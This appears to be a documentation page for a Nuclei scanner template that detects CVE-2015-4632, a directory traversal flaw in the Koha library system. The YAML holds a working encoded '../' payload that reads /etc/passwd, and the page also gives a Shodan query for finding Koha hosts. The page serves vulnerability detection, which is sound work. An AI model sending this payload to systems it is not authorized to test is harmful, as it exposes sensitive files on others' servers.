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Koha 3.20.1 - Directory Traversal

ID: CVE-2015-4632

Severity: high

Author: daffainfo

Tags: cve2015,cve,lfi,edb,koha

Description

Section titled “Description”

Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.

YAML Source

Section titled “YAML Source”
id: CVE-2015-4632


info:
  name: Koha 3.20.1 - Directory Traversal
  author: daffainfo
  severity: high
  description: Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.
  impact: |
    An attacker can read or modify sensitive files, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Upgrade to a patched version of Koha or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/37388
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4632
    - https://www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing/
    - https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408
    - https://koha-community.org/koha-3-14-16-released/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-4632
    cwe-id: CWE-22
    epss-score: 0.02297
    epss-percentile: 0.88584
    cpe: cpe:2.3:a:koha:koha:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: koha
    product: koha
    shodan-query: cpe:"cpe:2.3:a:koha:koha"
  tags: cve2015,cve,lfi,edb,koha


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-4632.yaml"

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